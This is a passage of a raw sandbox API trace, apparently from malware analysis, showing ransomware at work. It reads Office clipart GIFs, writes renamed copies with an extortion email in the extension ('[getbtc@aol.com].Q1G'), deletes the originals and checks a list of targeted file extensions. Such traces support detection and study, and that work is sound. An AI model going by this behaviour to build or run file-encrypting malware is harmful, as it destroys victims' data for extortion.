hFile=0x23c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=517) returned 1 [0054.767] CloseHandle (hObject=0x23c) returned 1 [0054.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0054.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.767] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.767] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.767] GetLastError () returned 0x0 [0054.767] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x205, lpOverlapped=0x0) returned 1 [0054.768] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x210, lpOverlapped=0x0) returned 1 [0054.769] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.769] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.769] SetEndOfFile (hFile=0x244) returned 1 [0054.769] CloseHandle (hObject=0x244) returned 1 [0054.769] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.769] SetEndOfFile (hFile=0x23c) returned 1 [0054.770] CloseHandle (hObject=0x23c) returned 1 [0054.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0054.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.771] lstrlenW (lpString=".doc") returned 4 [0054.771] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.771] lstrlenW (lpString=".docx") returned 5 [0054.771] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.771] lstrlenW (lpString=".pdf") returned 4 [0054.771] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.771] lstrlenW (lpString=".xls") returned 4 [0054.771] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.771] lstrlenW (lpString=".xlsx") returned 5 [0054.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.771] lstrlenW (lpString=".ppt") returned 4 [0054.771] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.771] lstrlenW (lpString=".zip") returned 4 [0054.771] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.771] lstrlenW (lpString=".rar") returned 4 [0054.771] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.771] lstrlenW (lpString=".bz2") returned 4 [0054.771] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.771] lstrlenW (lpString=".7z") returned 3 [0054.771] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.771] lstrlenW (lpString=".dbf") returned 4 [0054.771] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.771] lstrlenW (lpString=".1cd") returned 4 [0054.771] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.771] lstrlenW (lpString=".jpg") returned 4 [0054.771] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.772] lstrlenW (lpString=".doc") returned 4 [0054.772] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.772] lstrlenW (lpString=".docx") returned 5 [0054.772] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.772] lstrlenW (lpString=".pdf") returned 4 [0054.772] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.772] lstrlenW (lpString=".xls") returned 4 [0054.772] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.772] lstrlenW (lpString=".xlsx") returned 5 [0054.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.772] lstrlenW (lpString=".ppt") returned 4 [0054.772] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.772] lstrlenW (lpString=".zip") returned 4 [0054.772] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.772] lstrlenW (lpString=".rar") returned 4 [0054.772] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.772] lstrlenW (lpString=".bz2") returned 4 [0054.772] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.772] lstrlenW (lpString=".7z") returned 3 [0054.772] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.772] lstrlenW (lpString=".dbf") returned 4 [0054.772] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.772] lstrlenW (lpString=".1cd") returned 4 [0054.772] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0054.772] lstrlenW (lpString=".jpg") returned 4 [0054.772] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.773] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.773] lstrlenW (lpString="AG00092_.GIF") returned 12 [0054.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.773] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=502) returned 1 [0054.773] CloseHandle (hObject=0x23c) returned 1 [0054.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0054.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.773] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.773] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.773] GetLastError () returned 0x0 [0054.773] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x1f6, lpOverlapped=0x0) returned 1 [0054.774] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x200, lpOverlapped=0x0) returned 1 [0054.775] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.775] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.775] SetEndOfFile (hFile=0x244) returned 1 [0054.775] CloseHandle (hObject=0x244) returned 1 [0054.776] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.776] SetEndOfFile (hFile=0x23c) returned 1 [0054.776] CloseHandle (hObject=0x23c) returned 1 [0054.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.777] lstrlenW (lpString=".doc") returned 4 [0054.777] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.777] lstrlenW (lpString=".docx") returned 5 [0054.777] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.777] lstrlenW (lpString=".pdf") returned 4 [0054.777] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.777] lstrlenW (lpString=".xls") returned 4 [0054.777] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.777] lstrlenW (lpString=".xlsx") returned 5 [0054.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.777] lstrlenW (lpString=".ppt") returned 4 [0054.777] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.777] lstrlenW (lpString=".zip") returned 4 [0054.777] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.777] lstrlenW (lpString=".rar") returned 4 [0054.777] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.777] lstrlenW (lpString=".bz2") returned 4 [0054.777] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.777] lstrlenW (lpString=".7z") returned 3 [0054.777] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.777] lstrlenW (lpString=".dbf") returned 4 [0054.777] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.777] lstrlenW (lpString=".1cd") returned 4 [0054.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.778] lstrlenW (lpString=".jpg") returned 4 [0054.778] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.778] lstrlenW (lpString=".doc") returned 4 [0054.778] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.778] lstrlenW (lpString=".docx") returned 5 [0054.778] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.778] lstrlenW (lpString=".pdf") returned 4 [0054.778] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.778] lstrlenW (lpString=".xls") returned 4 [0054.778] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.778] lstrlenW (lpString=".xlsx") returned 5 [0054.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.778] lstrlenW (lpString=".ppt") returned 4 [0054.778] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.778] lstrlenW (lpString=".zip") returned 4 [0054.778] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.778] lstrlenW (lpString=".rar") returned 4 [0054.778] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.778] lstrlenW (lpString=".bz2") returned 4 [0054.778] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.778] lstrlenW (lpString=".7z") returned 3 [0054.778] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.778] lstrlenW (lpString=".dbf") returned 4 [0054.778] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.778] lstrlenW (lpString=".1cd") returned 4 [0054.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0054.778] lstrlenW (lpString=".jpg") returned 4 [0054.779] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.779] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.779] lstrlenW (lpString="AG00103_.GIF") returned 12 [0054.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.779] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=12702) returned 1 [0054.780] CloseHandle (hObject=0x23c) returned 1 [0054.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0054.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.780] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.780] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.780] GetLastError () returned 0x0 [0054.780] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x319e, lpOverlapped=0x0) returned 1 [0054.782] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0054.783] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.783] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.783] SetEndOfFile (hFile=0x244) returned 1 [0054.783] CloseHandle (hObject=0x244) returned 1 [0054.783] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.783] SetEndOfFile (hFile=0x23c) returned 1 [0054.784] CloseHandle (hObject=0x23c) returned 1 [0054.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0054.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.784] lstrlenW (lpString=".doc") returned 4 [0054.784] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.785] lstrlenW (lpString=".docx") returned 5 [0054.785] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.785] lstrlenW (lpString=".pdf") returned 4 [0054.785] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.785] lstrlenW (lpString=".xls") returned 4 [0054.785] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.785] lstrlenW (lpString=".xlsx") returned 5 [0054.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.785] lstrlenW (lpString=".ppt") returned 4 [0054.785] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.785] lstrlenW (lpString=".zip") returned 4 [0054.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.785] lstrlenW (lpString=".rar") returned 4 [0054.785] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.785] lstrlenW (lpString=".bz2") returned 4 [0054.785] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.785] lstrlenW (lpString=".7z") returned 3 [0054.785] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.785] lstrlenW (lpString=".dbf") returned 4 [0054.785] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.785] lstrlenW (lpString=".1cd") returned 4 [0054.785] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.785] lstrlenW (lpString=".jpg") returned 4 [0054.785] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.785] lstrlenW (lpString=".doc") returned 4 [0054.785] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.785] lstrlenW (lpString=".docx") returned 5 [0054.785] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.786] lstrlenW (lpString=".pdf") returned 4 [0054.786] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.786] lstrlenW (lpString=".xls") returned 4 [0054.786] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.786] lstrlenW (lpString=".xlsx") returned 5 [0054.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.786] lstrlenW (lpString=".ppt") returned 4 [0054.786] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.786] lstrlenW (lpString=".zip") returned 4 [0054.786] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.786] lstrlenW (lpString=".rar") returned 4 [0054.786] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.786] lstrlenW (lpString=".bz2") returned 4 [0054.786] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.786] lstrlenW (lpString=".7z") returned 3 [0054.786] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.786] lstrlenW (lpString=".dbf") returned 4 [0054.786] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.786] lstrlenW (lpString=".1cd") returned 4 [0054.786] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0054.786] lstrlenW (lpString=".jpg") returned 4 [0054.786] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.787] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.787] lstrlenW (lpString="AG00120_.GIF") returned 12 [0054.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.787] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=3484) returned 1 [0054.787] CloseHandle (hObject=0x23c) returned 1 [0054.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0054.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft 